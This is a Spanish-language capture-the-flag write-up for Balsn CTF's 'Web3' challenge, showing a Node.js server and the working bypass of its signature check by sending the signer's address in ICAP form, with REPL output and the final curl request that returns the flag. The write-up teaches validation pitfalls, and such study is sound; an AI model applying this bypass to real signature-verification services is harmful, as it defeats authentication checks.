Web3
3 minutos de lectura
Se nos proporciona una aplicación en Node.js que usa Web3:
const express = require("express");
const ethers = require("ethers");
const path = require("path");
const app = express();
app.use(express.urlencoded());
app.use(express.json());
app.get("/", function(_req, res) {
res.sendFile(path.join(__dirname + "/server.js"));
});
function isValidData(data) {
if (/^0x[0-9a-fA-F]+$/.test(data)) {
return true;
}
return false;
}
app.post("/exploit", async function(req, res) {
try {
const message = req.body.message;
const signature = req.body.signature;
if (!isValidData(signature) || isValidData(message)) {
res.send("wrong data");
return;
}
const signerAddr = ethers.verifyMessage(message, signature);
if (signerAddr === ethers.getAddress(message)) {
const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
res.send(FLAG);
return;
}
} catch (e) {
console.error(e);
res.send("error");
return;
}
res.send("wrong");
return;
});
const port = process.env.PORT || 3000;
app.listen(port);
console.log(`Server listening on port ${port}`);
Análisis del código fuente
El núcleo del reto está en /exploit
:
app.post("/exploit", async function(req, res) {
try {
const message = req.body.message;
const signature = req.body.signature;
if (!isValidData(signature) || isValidData(message)) {
res.send("wrong data");
return;
}
const signerAddr = ethers.verifyMessage(message, signature);
if (signerAddr === ethers.getAddress(message)) {
const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
res.send(FLAG);
return;
}
} catch (e) {
console.error(e);
res.send("error");
return;
}
res.send("wrong");
return;
});
Como se puede ver, necesitamos proporcionar un mensaje y una firma de tal manera que la dirección del firmante sea igual al mensaje. Sin embargo, está presente esta verificacióno:
if (!isValidData(signature) || isValidData(message)) {
res.send("wrong data");
return;
}
Donde isValidData
verifica que la string comienza con 0x
y contiene solo dígitos hexadecimales:
function isValidData(data) {
if (/^0x[0-9a-fA-F]+$/.test(data)) {
return true;
}
return false;
}
Por lo tanto, la idea más fácil no funcionará porque message
no puede ser hexadecimal (utilicé el código que aparece en la documentación para firmar un mensaje):
$ node
Welcome to Node.js v18.18.2.
Type ".help" for more information.
> const ethers = require("ethers")
undefined
> let privateKey = '0x0123456789012345678901234567890123456789012345678901234567890123'
undefined
> let wallet = new ethers.Wallet(privateKey)
undefined
> wallet.address
'0x14791697260E4c9A71f18484C9f997B308e59325'
> let message = wallet.address
undefined
> let signature = await wallet.signMessage(message)
undefined
> signature
'0x13f351764e6fd44361b2c86b25751d5e5dc2390648b1fed5061b48eb2f62fe8f1a6ff85a405690c8a5c5ebcb73bed617768d3e5b73aa36818f9d787085576a7b1b'
> ethers.verifyMessage(message, signature)
'0x14791697260E4c9A71f18484C9f997B308e59325'
> ethers.verifyMessage(message, signature) === ethers.getAddress(message)
true
Solución
Mientras leía la documentación de ethers
, descubrí que las direcciones de billetera se pueden codificar como ICAP. De esta manera, el message
ya no será hexadecimal, mientras que ethers.getAddress
se comportará como queremos:
> message = ethers.getIcapAddress(wallet.address)
'XE172E3CNHDCSLM22QRROQPYXPALTWAQASL'
> signature = await wallet.signMessage(message)
'0x8b5b2dc42e9cfdcad7eff0e29e6d97ade701adc1fa526ea37c77eea0b54e66e26e72acb937976146db76081d70c04942261a0d6cceb2f1cbf17c54b418733ad61b'
> ethers.verifyMessage(message, signature)
'0x14791697260E4c9A71f18484C9f997B308e59325'
> ethers.verifyMessage(message, signature) === ethers.getAddress(message)
true
Entonces, si enviamos estos valores de message
y signature
, obtendremos la flag ya que message
no es hexadecimal, signature
sí es hexadecimal y la condición principal también se cumple.
Flag
Como acabo de decir:
$ curl web3.balsnctf.com:3000/exploit -d '{"message":"XE172E3CNHDCSLM22QRROQPYXPALTWAQASL","signature":"0x8b5b2dc42e9cfdcad7eff0e29e6d97ade701adc1fa526ea37c77eea0b54e66e26e72acb937976146db76081d70c04942261a0d6cceb2f1cbf17c54b418733ad61b"}' -H 'Content-Type: application/json'
BALSN{Inter_Exchange_Client_Address_Protocol}